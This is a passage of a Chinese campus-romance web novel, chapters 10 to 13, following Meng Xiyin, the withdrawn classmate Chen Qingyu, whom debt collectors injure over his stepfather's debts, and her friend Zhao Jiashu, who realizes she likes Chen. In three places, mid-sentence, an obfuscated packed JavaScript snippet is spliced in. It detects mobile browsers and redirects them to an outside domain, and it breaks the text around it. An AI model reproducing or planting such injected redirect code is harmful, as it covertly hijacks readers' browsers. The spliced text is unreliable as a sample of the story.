周濛巴不得能有和苗松独处的机会,连连摆手:“快去吧快去吧,回来的时候给我带瓶水啊,要冰的。” 体育馆里没有厕所,孟惜荫绕了一圈,准备回教学楼。 一楼侧边有一处小门,进去就是走廊尽头的厕所,她不想绕远,打算直接从小门进,没想到却看见了两个熟悉的人。 ——孙浩和吴越琛。 他们似乎刚从厕所出来,一边走一边甩着手上湿漉漉的水珠,只是两个人都十分狼狈,一个鼻青脸肿,一个嘴边破了个口子,连话都说得含糊不清。 “早说了,让你别惹陈青屿,就是不听,这下好了,连我也跟着遭殃!”是吴越琛在抱怨。 孙浩显得十分委屈:“我哪里惹他了?明明是他自己找我挑事的啊!再说了,你敢说这事跟你一点关系没有?要不是你嘴臭当着孟惜荫的面说她妈妈是小三……” 吴越琛扬高了声音打断:“我说的都是事实啊,又没说错!谁知道陈青屿那个疯子这么护着孟惜荫干嘛……” 两个人一边嚷嚷抱怨着一边走远。 孟惜荫呆呆站在原地。 夏风喧嚣,蝉鸣一声一声拉的悠长。 她怔然驻足片刻,忽然下定某种决心般转头,快步往体育馆的方向走。 她要去找陈青屿。 11. Chapter 10 体育馆里到处找不见陈青屿的身影。 馆里没有空调,孟惜荫转悠了半天,热得浑身是汗,就在她打算放弃的时候,忽然看见楼梯转角后的器材室半敞着门,里面隐约传来说话的声音。 她犹豫了一下,放轻脚步悄悄靠近。 老旧的器材室许久无人使用,地上积着厚厚一层灰,角落里横七竖八堆着几个圆滚滚的铅球。 墙壁上装着压腿用的栏杆,陈青屿就靠在那里,长腿支着地面,面无表情地听着面前的女生说话。 是上次食堂里的那个女生。 马尾头,白净皮肤,脚上穿一双价值不菲的潮牌运动鞋。 在说什么悄悄话呢。 孟惜荫攥紧校服袖口。 陈青屿一直没有回应,女生刻意压低声音,似乎不想被旁人听到,最后也不知怎么了,她突然拉下脸,气呼呼地扭头走了。 孟惜荫急忙后退几步躲在楼梯后面。 是吵架了吗? 她心神不宁地想着那女生的事,再抬头时,就看见陈青屿站在器材室门口,微靠着墙,眉眼安静地看着她。 她站在楼梯上,隔几级台阶和他尴尬对视,像个做了亏心事被大人发现的小孩,最后还是陈青屿开口替她解围:“怎么没和周濛一起?” 孟惜荫如抓住救命稻草般,急忙顺着他话里的台阶下:“啊,她在那边跟朋友打球呢,我肚子不舒服,去上厕所了。” 陈青屿脸上神情未见波动,她便又状若无意般,抛出一个不经意的问题:“那个女生是你朋友吗?” “不是。”陈青屿答的很快。 孟惜荫在他平淡的尾音里,等着他将话题继续,诸如那个女生叫什么、是哪个班的,和他是什么样的关系。 但除了这简单的两个字,他什么都没有再说。 于是孟惜荫的眼睛,借着一点楼梯扶手的遮挡,在陈青屿看不见的地方默默黯淡几分。 那个女生,是不能对她介绍的人吗? 还是说以他们现在的关系,她还没有资格去了解他的生活? “你要不要喝水?”在她沉默的间隙,陈青屿适时开口,“这里有点热。” 孟惜荫这时才猛然想起周濛拜托她买水的事,忙不迭点头。 两人一起往小卖部的方向走。 室外的阳光晃眼,把地上的胶皮晒的滚烫。 路边一排灰色石砖围起一片小树林,她踩着石砖躲在树荫下走路,陈青屿走在她身侧,阳光洒了他满身,烤出好闻的香皂淡香。 十七,十八,十九。 孟惜荫低着头,在踩到第二十一块石砖的时候,深深吸了口气,然后猛地抬起脸。 “你……是不是跟孙浩他们打架了?” “嗯。” “为什么?” 陈青屿沉默许久。 “那天你哭了。” 她恰巧踩下最后一块石砖,那一刹那的心底震颤,如骤然脱轨的火车,令她措手不及又神思颤荡。 来不及追问什么,陈青屿已经加快脚步,先一步推开了小卖部的门。 再出来时,孟惜荫怀里抱着两瓶刚从冰柜里拎出来的水,瓶身水汽印在她校服的深蓝上,显出一片潮湿的渍,又很快被灼热的阳光烤干。 而那个话题也仿佛不曾被提起过一样,水蒸汽一般消失在闷热的风里。 * 一进体育馆,孟惜荫就看见周濛远远朝她招手:“惜荫你去个厕所怎么这么久!我都快渴死了!” 孟惜荫不知道该如何解释,只能干巴巴地把水递过去。 “刚好你回来,我们再找个人打双打呀,单打没意思。”周濛拧开瓶盖灌了一口水,然后朝孟惜荫眨眨眼睛。 这次孟惜荫很快领会了其中的意思。 她想跟苗松一组。 孟惜荫点点头,自然而然说好,可是去哪里找第四个人呢—— 她和周濛的视线,同时落在跟在她身后的陈青屿身上,又触电般地弹开。 周濛心想,上次在食堂,她明目张胆地说陈青屿的坏话,他后来没找她麻烦就已经是大好人了,她怎么敢再邀请他一起打球? 除非她脑子坏掉了。 而孟惜荫心里想的又是另一回事。 她没有看见陈青屿参加过任何一场集体活动,她猜测他大概和她一样,不喜欢与人社交,如果现在突兀邀请他加入,只会让彼此都尴尬。 但出乎意料的,陈青屿竟然主动开口。 “如果你们不介意的话,我可以加入。” 周濛惊的眼珠子都要掉下来,对陈青屿,她总存着一份做了亏心事怕被报复的心虚,现下对方都开了口,她哪儿敢说不,一边连连点头说好,一边跑去拿球拍。 苗松是学体育的,一身健硕肌肉,汗珠在太阳下闪着诱人光泽,周濛的心思压根就不在打球上,满眼都是苗松。 而苗松为了照顾周濛的体验,好多该接的球都让给周濛去接,结果自然是谁都没接着,反而是孟惜荫这边的比分领先不少。 啪。 陈青屿扣球。 羽毛球压在白线边角,颠了几下又跌出去。 几个人的视线同时凝在那只羽毛球上,周濛和苗松互相打趣着要猜拳决定谁去捡。 赵嘉树肩膀上搭着脱下来的校服外套,刚巧路过般顺手把球捞起来,“荫荫,你怎么跑来打羽毛球了——”话说一半,抬头看见站在她身边的陈青屿,声音生生止住。 陈青屿略扫他一眼,撩起T恤擦了一把脸上的汗,声音闷进棉质布料里,提醒孟惜荫:“你朋友来了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14793252|158223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他腰间紧实线条,比孟惜荫以为的还要瘦,她正因他擦汗的动作而分神,经他低声提醒,才注意到正朝她走来的赵嘉树。 周濛和赵嘉树打过招呼,趁机扯了个理由和苗松到旁边长凳上卿卿我我,不算宽敞的羽毛球场里,只剩下他们三人。 视线交错,在闷热不透风的球场里各怀心事地缓慢流转。 空气凝止,仿佛电影里的片段被按下了暂停键,片刻静默后,是赵嘉树先按了启动键。 他把球递给孟惜荫,语带关切地嗔怪:“你的脚伤不是一直没好么?还来打球,也不怕受伤。” “又没有剧烈运动。”孟惜荫抿抿嘴。 陈青屿下意识看向她的脚踝。 天气炎热,她的校服裤腿挽起来一截,露出凸出的踝骨,他想起那次在他家破旧的房子门口,她不小心磕在台阶上。 狭小卧室里,他半蹲下去为她贴上的创可贴,早已被撕下来,那一小块流血的皮肤已然痊愈,瞧不出半点痕迹。 他忽然未经思考地开口:“上次——” 他想问孟惜荫,那一次的磕碰有没有影响到她的脚伤,话一出口立刻又心生后悔。 孟惜荫的视线紧张地瞥过赵嘉树,又匆匆落回陈青屿身上,无声冲他眼神示意,不要让赵嘉树知道,那天她是去了他的家里。 陈青屿心领神会,继而闭嘴,继续保持一贯的沉默。 而赵嘉树在这短暂的眼神交会中,窥见了一点他不能得见的端倪。 他瞥一眼陈青屿,眸色隐晦地浸上一丝敌意,但很快就露出灿烂笑脸,对孟惜荫说:“老张刚才说咱班同学表现不错,奖励我们下节课继续自由活动,惊不惊喜?” 话锋一转,他再次看向陈青屿,对他发出邀请:“我和几个朋友约了一起打场篮球,你要来吗?” 孟惜荫惊诧地瞪大眼睛。 印象里,这是赵嘉树第一次和陈青屿说话。 他之前好像不怎么待见陈青屿来着——对了,他说过,陈青屿经常打架,是他们学生会的老熟人。 他竟然主动邀请陈青屿打篮球? 这在孟惜荫看来简直不可思议。 然而下一秒,更不可思议的事发生了。 陈青屿点了点头,说:“好。” 他……答应了? 这完全不像陈青屿的性格会做出的事啊。 然而现实并没有留给她惊讶的时间,因为赵嘉树已经帮她拿起挂在一旁的校服外套,“走吧荫荫,来看我们打球啊。” 两个男生的视线同时停留在她身上,让她感觉身上扎满了细小的刺,哪哪儿都不自在。 她站着没有动,赵嘉树和陈青屿也就都没有迈动脚步。 那样子,好像孟惜荫是一个必要的观众,没有她,这场比赛就无法开启。 12. Chapter 11 孟惜荫在去篮球场的路上被气喘吁吁追上来的周濛拉走,对方满面红光,一边扶着胸口大喘气,一边说有件天大的喜事要和她分享。 拗不过周濛的死缠烂打,孟惜荫只好让两个男生先走,说自己一会儿就过去。 “到底什么事呀?” 体育馆侧门外的隐秘小角落里,周濛终于停下来,得意洋洋地扬起下颌,对她宣布:“刚刚苗松跟我表白了。” “啊?”孟惜荫惊诧道,“这么快?” 周濛一本正经:“这还快?我很抢手的好不好?他再不下手我就要跟别人跑了!” 顿了顿,她手指在孟惜荫眼前晃晃,又告诉她一桩大事:“苗松约我这周末一起去图书馆复习呢。就我们两个人哦——” 她拉长声音强调,声音里像浸了蜜。 “你说我那天穿什么好啊?穿小裙子还是走日常休闲风?哎我要不要背那个新书包啊?就那个墨绿色的,我之前背过一回来着……” 原来这就是喜欢一个人的感觉吗。 孟惜荫在她一句句似临时起意又毫无关联的话语里,怔怔地想。 等听完周濛一路碎碎念的分享来到篮球场的时候,已经是中场休息时间,男生们靠在栏杆旁边休息,有的正拿毛巾擦汗,有的弯腰去地上拿矿泉水喝。 她一眼就望见陈青屿。 他站在浓密绿枝投下的一小片荫凉里,沉默地用手背拭去额头上的汗,离他几步远的地方,几个男生嘻嘻哈哈地丢着篮球打闹,而他只是静默地站着,显得那么格格不入。 有女生跑上前去送饮料,孟惜荫听见有人在喊赵嘉树的名字。 赵嘉树站在一堆男生中间,众星捧月般,几个低年级的女生红着脸把手中的饮料递过去,他没有接,只是微笑着道谢。等她们散开了,他才看见站在不远处的孟惜荫,眼睛立刻灿灿起来,用力朝她招手:“荫荫,这里!” 孟惜荫走过去,问他现在比分怎么样了。 “当然是我们领先啦,三班打不过我们的。”赵嘉树笑,“下半场马上开始了,那边有凳子,荫荫你坐那边看吧。” “好。” 白线外摆着几张不知谁搬来的凳子,经太阳暴晒了几小时,烫的像刚煮沸的开水,孟惜荫用手探了一下,就知道这温度根本坐不下去。她只好用一只手遮着额头,朝四周张望着,想看看有没有一把未经阳光荼毒的凳子可以坐。 “嘟”的一声,裁判吹响哨子。 恰在此时,有人走过来,把一件叠好的校服外套放在了她刚刚探过温度的那把椅子上。 “那边有树荫,可以到那边坐。”陈青屿说,“要我帮你把椅子搬过去吗?” 孟惜荫呆愣片刻,才点头说好,她望着陈青屿沉默地拖动椅子朝树荫走去的背影,倏然想起那天在他的卧室里,他从衣架上取下一件洗晒干净的短袖,折起来垫在椅子上让她坐。 篮球场上,不知是谁投进了一个三分,惹得全场一片欢呼。 她后知后觉反应过来,急忙追上去:“哎,你不去跟嘉树哥他们打球吗?” “他们有替补。”陈青屿又拖了把椅子,在她旁边坐下。 “哦。”孟惜荫的声音低下去。 风如热浪,一阵阵吹过头顶浓绿枝桠,她和陈青屿静默地坐在小小一方树荫里,望着球场上正激烈传球的男生们。 “赵嘉树牛啊!又中了个三分!” 有人吹了个口哨。 孟惜荫低着头,手指攥着校服下摆,揪住一圈小小的褶皱。 “那个……上周我们说好的,你还记得吗?” “记得。” “那就好。”孟惜荫的唇角小小地弯起弧度。 灼热阳光洒在球场上,晒出一身淋漓大汗,赵嘉树在传球的间隙忍不住分神,看向坐在场外的孟惜荫。 她正和陈青屿坐在一起,两把椅子紧紧挨着。 跑动的脚步慢下来,赵嘉树用力抹了一把汗,忽然觉得这场球赛索然无味。 * 周六早上,孟惜荫早早起床收拾好书包,和陶玉茹敷衍地打过招呼,就匆匆跑出去和赵嘉树会合了。 按照计划,他们要先在楼下集合,然后在小区门口分开各自行动。 赵嘉树已经等在楼下了。 他如往常一样,递过来热气腾腾的卷饼和鸡蛋,笑容亮亮的:“早啊荫荫。” “早。”孟惜荫也弯起眼睛。 饼是刚烙好的,握在手里,几乎要烫破皮肤。她一边啃着香喷喷的卷饼,一边含糊不清地和赵嘉树说话,“对了嘉树哥,一会儿你去哪呀?” “我去图书馆自习,刚好今天家里来客人,我妈还怕耽误我学习呢。”赵嘉树推着自行车,“你是不是要去周濛家来着?远不远?要不要我送你?” “不用不用!”孟惜荫连忙摆手,支支吾吾道,“我们约好了先去趟书店呢。你先回去吧,我自己走过去就好。” “那好吧。” 到了小区门口,赵嘉树跨上自行车,朝她挤挤眼睛,“别忘了十一点半在小区门口见哦。” 演戏演到底,还得装作一起从学校回来的样子呢。 “知道啦。” 目送着赵嘉树的自行车消失在路口,孟惜荫又在路边站了好一会儿,才折返回去,往荷花巷走。 巷子口仍旧堆着乱七八糟的垃圾,和她上次来的时候没有太多变化。只不过这一次,孟惜荫等了很久,也没有看见出来接她的陈青屿。 是忘记了吗? 可是昨天他明明说记得的…… 孟惜荫站在巷子口,开始打起退堂鼓,犹豫着要不要回去。因为几个坐在台阶上嗑瓜子闲聊的男人已经频频朝她看过来,盯得她脊背发凉。 没有陈青屿带路,她一个人根 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14793253|158223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本没有勇气踏进这条巷子。 “哟,这不是那天老冯家儿子带回来的小姑娘吗?”小卖部的老板娘正掀起卷帘门,转头瞥见孟惜荫局促地站在那儿,态度倒是很热情,“来找他的?” 孟惜荫知道女人口中的“他”是谁,但还是很有礼貌地乖巧点头:“阿姨,我来找陈青屿。” 女人新奇的目光落在孟惜荫身上。 旁边几个穿着白背心的男人也盯着她笑:“王嫣,人家小姑娘叫你阿姨呢,多有礼貌啊。” 孟惜荫不自在地抿起唇,望向王嫣的眼神有些茫然。 王嫣嗔怪地瞪他们一眼,又转头冲孟惜荫笑:“没事儿,不用理他们。你找陈青屿是吧?今天讨债的来他家了,估计一时半会儿出不来呢。你先到我店里坐会儿?” 孟惜荫一愣:“讨债的?” “是啊。”王嫣从小卖部里搬出一个小马扎,又不知道从哪儿捞出一块坐垫,用手扑了扑上头的灰,“他那个后爹欠了一屁股债,跑到这儿来躲着,那帮讨债的隔三岔五就要来一次。” 她把坐垫垫在小马扎上,往台阶下一放,招手示意孟惜荫过来坐。 孟惜荫犹豫了一下,决定还是等一等陈青屿。她礼貌地向王嫣道过谢,在那张小马扎上坐下来,把书包抱在怀里,仰起脸很天真地问:“阿姨,那些人什么时候会走呀?” “不好说,看老冯还不还钱呗。不过我估摸着他还是拿不出钱。”王嫣咂咂嘴,又感叹一声,“就是可怜了这孩子,跟他一点血缘关系都没有,还要替他受罪。” 孟惜荫不明所以地眨眨眼睛:“什么意思?” 她那双不谙世事又天真烂漫的眼睛,让王嫣心里没由来的一阵发酸,她沉默片刻,还是决定告诉眼前的小姑娘实话。 “那个老冯没钱还债,倒是机灵的很,一听见点风声就跑到别的地方躲起来,等风头过了再回来,所以那帮讨债的每次来,都只能拿他儿子出气。”她摇摇头,有些不忍心,“要我说那帮人也真够狠的,对一个孩子也能下得去手,有好几回,我都看见血了。” 这时旁边的一个男人掐了烟头,懒洋洋地把话接过来:“你懂什么,那是人家道上的规矩。他爹只要不还钱,他们来一次,就在他儿子手背上用刀划一道口子。” 说完,那男人又摇摇头:“可惜啊,到底不是亲生的。划多少道刀口都没用,人家后爹根本不心疼,照样跑得远远儿的躲起来。” 孟惜荫惊住。 脑海里,随即浮现出陈青屿手背上那道淡褐色的疤,以及后来划在旧疤上那道流着血的口子。 指甲尖嵌进掌心的肉里,一阵牵动皮肉的痛楚,她想起那次她惊慌失措地提醒他手上伤口,而他只是冷淡而平静地对她说没事。 一阵风扬过,灰尘呛鼻。 她坐在破旧的小马扎上,紧紧抱着怀里书包,忽然迟钝地,想要流眼泪。 13. Chapter 12 孟惜荫把脸埋在书包后面,不想让王嫣发现她的异样,所幸王嫣正和那男人聊天,并没有过多关注她。 “要我说,这孩子也是真可怜,亲妈跟人跑了,后爹又这么靠不住,小小年纪就没人管,唉……”王嫣从烟盒里摸出一根烟点着,深深吸了一口,一边慨叹一边呼出一口烟圈,话音一止,又扭头问孟惜荫,“对了小姑娘,你和陈青屿是同学啊?” 孟惜荫闷声点头:“嗯,我们是一个班的。” “这眼看着就要高考了,那帮人还来闹,肯定影响那孩子学习……”王嫣又叹了口气,把烟头丢在地上用脚碾灭。 闲谈声里,急促脚步声从巷子尽头传来。 孟惜荫从书包后抬起眼睛,远远望见陈青屿瘦高的身影。 夏风闷热,他身上白色短袖被汗水洇湿,紧紧贴着腰线,因脚步太急,土路上灰白尘粉都跟着扬起来,扑在他洗刷干净的运动鞋面上。 “对不起,家里临时有点事情。”陈青屿低声说着抱歉的话,日光映着他额角细细密密的汗珠,他顾不上擦一擦,歉疚地问,“等很久了吗?” “没有很久……” 孟惜荫快速地从马扎上站起身,不想让他在太阳下久站,而他习惯性地去拎她怀里的书包,全部重量从她膝上离开,一下子沉在他手中。 手背上刚潦草包扎好的伤口,不及结痂又骤然扯裂,陈青屿脚步停顿一瞬,沉默地绷紧唇角,又快步往前走。 这一次,客厅里没有了那个酒气熏天的男人,空气都清新许多,陈青屿打开卧室的门让孟惜荫先进去,说他去倒两杯水。 孟惜荫乖乖地说好。 洗手间里,水流声哗哗不止。 陈青屿扯下绷带,近乎暴力地让水流冲掉他手背上没来得及洗干净的血渍,然后潦草地消毒、重新包扎。 他靠在墙上,面无表情地看着镜子里自己的脸,等着那股钻心的疼痛终于消失,才走出洗手间。 孟惜荫正坐在书桌前看书。 听见开门的声音,她站起身,陈青屿把水杯递过去,她便接过来说了声谢谢,然后小小地抿了一口。 余光悄悄瞥过他手上缠着的绷带,孟惜荫欲言又止,想说点安慰的话,却又觉得什么话语都苍白无力。 她不曾深刻感受过陈青屿的生活,亦无法真正与他感同身受,可是她很想让他开心一点。 他好像从来都不快乐。 仍旧是那把塑料椅,陈青屿坐在她旁边,在草稿纸上画着坐标系,空气闷热,在狭小空间里拧巴巴地流动,他压着白纸的手腕下都洇出潮湿的汗。 书桌角落里摆着一只很小的电风扇,像是从路边地摊上十几块钱淘来的小玩意,上面还贴着乱七八糟的贴纸,陈青屿按下一个小小的按钮,灰色的扇叶转起来,吹出柔软的风。 他把风扇摆到孟惜荫面前,继续讲题。 风微弱地拂在脸上,孟惜荫的碎发扬起来,湿漉漉地贴在耳边,她低头捋了一下乱掉的头发,在扇叶嗡嗡的转动声中糯糯地开口:“陈青屿。” 陈青屿笔尖顿住,探究的眼神朝她看过来。 孟惜荫抿抿唇,鼓起勇气继续说:“下周我们要不要去南街那边的图书馆自习?那边环境挺好的,我之前也去过几次……” 她想起刚才王嫣说的话,觉得很有道理,那帮讨债的总往陈青屿家里跑,肯定会影响他的复习。那些人再穷凶极恶,总不至于在图书馆这种公共场合闹事吧? 而这个提议,还包含着一点她的私心。 “苗松约我这周末一起去图书馆复习呢。就我们两个人哦——”周濛甜腻腻的语气时不时飘出来,在她脑海中回荡。 不等她想下去,陈青屿已经打断了她的思绪,“抱歉,下周我有事。” “哦,那好吧。”孟惜荫咬住唇。 上午的时间过的飞快。 陈青屿送她出去,她在高悬的日头下站住脚,像是忽然想起了什么似的,蓦地转身,从口袋里掏出一样东西要递给他。 “对了,这个给你——” “小心——” 那节因偷工减料而凹凸不平的石阶,曾磕伤她的脚踝,此刻又突兀地想起赵嘉树说过她的脚有旧伤,陈青屿几乎不经思考地出声提醒。 回过神来,孟惜荫已经稳稳站在最后一级台阶上,她把手掌伸到陈青屿面前,摊开来,里面是几颗用糖纸包着的硬糖。 “谢谢你帮我复习。”她微笑着,把后半截话说完。 陈青屿攥着孟惜荫给他的糖,站在小巷尽头,看着她一点点走向巷子口,走向外面的世界。 回到卧室,椅子上还有孟惜荫坐过残留的温度,他就在她坐过的那张椅子上坐下来,剥开一块她送的糖。 巧克力味,甜得发齁。 糖是小孩子才喜欢吃的东西。 也只有拥有很多爱的小孩子,才能得到奖励的糖果。 * 在南街图书馆门口碰见周濛,是赵嘉树意料之外的事。 “周濛?你怎么在这儿?” 他下意识出声,但随即便后知后觉意识到,他自欺欺人式的洗脑已经颇见成效,明明早就知道孟惜荫在骗他,可他仍然愿意相信她说的每一句话。 或许孟惜荫没有骗他呢? 或许她真的是去了周濛家里复习呢? 这些天,赵嘉树一直用这样的念头安慰自己,以免陷入过分挣扎的胡思乱想,可是现在,本该在家里的周濛就站在他眼前,戳破了他心存的最后一分侥幸。 “赵主席,你这可就有点看不起人了啊,什么叫我怎么在这儿?我怎么不能在这儿?我约好了今天和苗松一起来图书馆复习呢,我也是上进的好学生哦。”周濛故作不满地冲他撇撇嘴。 赵嘉树回神,露出歉意的微笑。 “抱歉,我开玩笑的。” 周濛大大方方地笑着,表示并不介意,她扶扶肩上书包,又理了下百褶裙的褶皱,跟赵嘉树挥手:“那我先进去啦。” “好。” 赵嘉树在门口茫然地站了一会儿,仿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14793254|158223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佛忽然间不知道该做什么了,缓了很久,他才走进图书馆,在一楼找了个靠窗的位置坐下。 他麻木地打开书包,拿出厚厚的试卷册,机械地演算、批改。 孟惜荫会去哪里呢? 她性格太内向了,在班里除了周濛似乎也没有其他关系亲密的朋友,什么事情值得她不惜冒着被陶阿姨教训的风险而逃掉补习班? 脑海中,不太情愿地浮现出一个名字。 那次在篮球场,他亲眼看到的,她和陈青屿并肩坐在树荫下,挨的那样近,还有那一次,她跑去医务室给陈青屿拿药,大雨滂沱的夏夜,他把校服脱下来给她挡雨…… 他不愿意相信,不愿意相信孟惜荫的秘密,和另一个男生有关。 手表指针刚过十点半。 赵嘉树忽地合上试题册,像是下定某种决心般,迅速收拾好书包,提前离开了图书馆。 他听人说过,陈青屿的家就在那条离清莲小区不远的荷花巷里。 赵嘉树把自行车停在路边,他就靠在一根漆层剥落的路灯柱子旁,盯着那个堆满垃圾、臭气熏天的巷子口。 孟惜荫从那堆垃圾后走出来的时候,赵嘉树感觉到自己的心脏,迟缓而钝痛地跳了一下。 她身上那条白色棉麻长裙,是去年暑假陶玉茹买给她的,他犹清晰地记得她当时把裙子抱在怀里时脸上藏都藏不住的雀跃欢喜,嘴里却说,这裙子颜色太白了,容易脏,她舍不得穿。 可现在呢,她穿着那条仙女一样的白裙,小心翼翼地从一堆乱七八糟的黑色垃圾袋里踏出来,必须要很小心地提着裙角,才不会碰到那些从袋子里流出来的、散发着腐烂味道的黏液。 为什么呢。 赵嘉树的手无声攥紧,又徒劳地松开,如此反复。 直到孟惜荫抬起眼睛,看见了站在路对面的他。 她眼中一瞬错愕,很快浮起不知所措的慌乱,紧攥着裙子站在原地,不知道要不要继续往前走。 “荫荫。”赵嘉树出声喊她。 孟惜荫犹豫了一下,才缓慢地挪动脚步朝他走来,她低垂着脑袋,像个做了错事的小孩子,声音怯怯的:“嘉树哥,你在这里做什么?” 赵嘉树看着她的眼睛,答非所问:“我在南街图书馆遇见周濛了。” 孟惜荫眼睫一颤。 对啊,她怎么把这件事忘了呢?周濛说过这周末要和苗松一起去图书馆的。怎么这么巧,就被赵嘉树撞见了呢? 她懊恼地在心里悄悄叹气。 赵嘉树继续说:“所以,你是去陈青屿家了吗?” 孟惜荫猛然抬头,欲盖弥彰般地用力摇头,继而又心虚地移开视线,手指在腰后不安地绞在一起。 “没……没有啊,我去陈青屿家里干什么,我和他又不熟……” 一阵闷热夏风骤然经过,她额前碎发乱糟糟地垂着,挡住了她眼底闪烁游弋的情绪。 而赵嘉树只是平静地看着她,抛出一个肯定的陈述句。 “你喜欢陈青屿。” 14. Chapter 13 “知了——知了——” 树梢上的蝉不知疲倦地鸣叫。 像某种高频声波忽地贯穿耳膜,孟惜荫的听觉似有一瞬间的失灵,大脑被激出一种陌生的、醍醐灌顶的清醒。 她喜欢……陈青屿吗? 在赵嘉树的凝视中,她长久地怔愣着。 什么是喜欢呢? 年少的第一次悸动,仿佛试卷末尾一道没有正确答案的主观题,没有任何参考评判的标准。 她只知道在和陈青屿待在一起的时候,时间总是过得很快,她会盯着他握笔书写的手而出神发愣,会偷偷在腿上练习模仿着他的名字,会因不小心碰到他的胳膊而心跳加快。 皮肤上留下的一小块潮湿的汗,粘腻得让她心里发痒。 原来这就是喜欢一个人的感觉吗? 会过分关注他每一个细小的举动,会渴望每时每刻都跟他在一起,会在意他和别的女生讲话,会在去见他之前一遍遍站在镜子前羞怯而不自信地审视自己。 她的行为和周濛又有什么不同呢。 甚至,在早上洗漱刷牙的时候,她就已在脑海中一遍遍排练见到陈青屿时的开场白—— “早啊,陈青屿。” 叫名字会不会显得太客气? 那就“早”。 会不会又显得太冷淡? “早啊,你吃过早饭了吗?” 好像又有点尴尬。 而最终,在脑海里排练过的一百个方案都会在见到他的时候忘得一干二净,因为他一出现,骤然加快的心跳就会让她笨拙的语言系统瞬间失灵。 赵嘉树看着孟惜荫在他面前呆怔着,又似恍惚清醒般一点点回神,他的心仿佛被铁签串起架在灼烫火苗上,酷刑一样地炙烤。 他终于动了动嘴唇,只是卑微地、用喑哑不清的声音,将刚才的句子换成一个哀哀的疑问句:“你喜欢陈青屿吗?” 烈日炎炎,阳光似透明岩浆一样泻下。 他望着孟惜荫,仿佛一个犯了错渴求饶恕的信徒,等着她的判决。 而孟惜荫终于抬起眼睛,睫毛眨动的频率很快,像一只随时都会飞走的蝴蝶。 “怎么可能呢。”她挤出微笑,“我们只是普通朋友,去他家只是一起复习而已。” 赵嘉树的眼睛,终于一点一点地黯淡下去。 她已经连秘密都不愿与他分享。 那扇对他留了一道缝隙的窗,终究还是严严实实地关上,再无一点光亮透到他的身上。 他仿佛一个被判了死缓的囚徒,无力挣扎,除了再一次应和她的谎言,别无选择。 “嗯,我知道啦。”赵嘉树转身去推自行车,在孟惜荫视线看不见的地方猛力而无声地吸了一口气,努力让语气恢复轻快,“快走吧,马上就十一点半啦。” “好。” 孟惜荫快步走过去,坐上自行车后座。 彼此的心事太过沉重,自行车的车轮都转动得格外缓慢。 风呼呼地吹在脸上。 赵嘉树眯起眼睛,在那一刻,他好像忽然明白了,原来这个世界上,不是所有的事情都分先来后到。 * 周一的早自习格外让人昏昏欲睡。 孟惜荫努力撑着眼皮做完了英语完型的小测试,下课铃响,她正准备趴桌子睡一会儿,周濛就屁颠屁颠地跑了过来,急于和她分享上周末的“恋爱战果”。 “我跟你说,别看苗松是学体育的,他数学比我学的好呢!我才知道他家住南滨路诶,和我们家就隔了两条街,你说巧不巧?他还约我高考完一起去南滨那边的游乐场玩呢……” 周濛正滔滔不绝地说着,一只胳膊从她面前伸过来,把一瓶牛奶放在孟惜荫的桌上。 “周濛,你不困吗?”赵嘉树笑着打趣她,“这谈了恋爱的人就是不一样啊,学习都有精神。” “那当然了!”周濛得意地挺起胸脯,“我现在可正能量了,信不信这次三模我能进前一百?” 说起三模,孟惜荫这才意识到离高考只剩下一周多一点的时间了,顿时感觉到了压力。赵嘉树看出了她的紧张,于是拍拍她的肩膀,语气轻松地把这个话题带了过去,“对了荫荫,明天你生日,我妈妈说让你下了晚自习来我家吃夜宵,她订了蛋糕,陶阿姨那边也已经说好了。” 孟惜荫惊讶:“啊?我妈怎么没跟我说?” “可能阿姨忙忘了吧。”赵嘉树眨眨眼睛,又补充一句,“订了你最爱吃的巧克力蛋糕哦。” “什么?明天惜荫过生日啊?”周濛闻声兴致勃勃凑到孟惜荫面前,几乎要贴上她的脸,“你有没有想要的生日礼物?要不我请你吃饭吧?奢侈一把,去吃食堂小窗口怎么样?” 说完,不管孟惜荫答没答应,她已经把生日的主角遗忘在一边,和赵嘉树讨论起明天中午在小窗口点什么菜了。 孟惜荫往后靠了靠,视线越过面前正在讨论的两人,偷偷瞥了一眼陈青屿。他仍然有些疲倦的样子,侧趴在课桌上睡觉。 他大概不会知道明天是她的生日。 孟惜荫想。 可是她忽然很想能够拥有单独和陈青屿待在一起的时间,除了在那间狭小的卧室里,在其他的地方,也想和他待在一起。 要不要主动开口呢? 以生日为借口,约他一起去食堂吃晚饭……应该不会被拒绝的吧? 孟惜荫在心里酝酿着。 那一整天,孟惜荫都在思考该如何措辞,才显得合乎情理又不容易被拒绝。 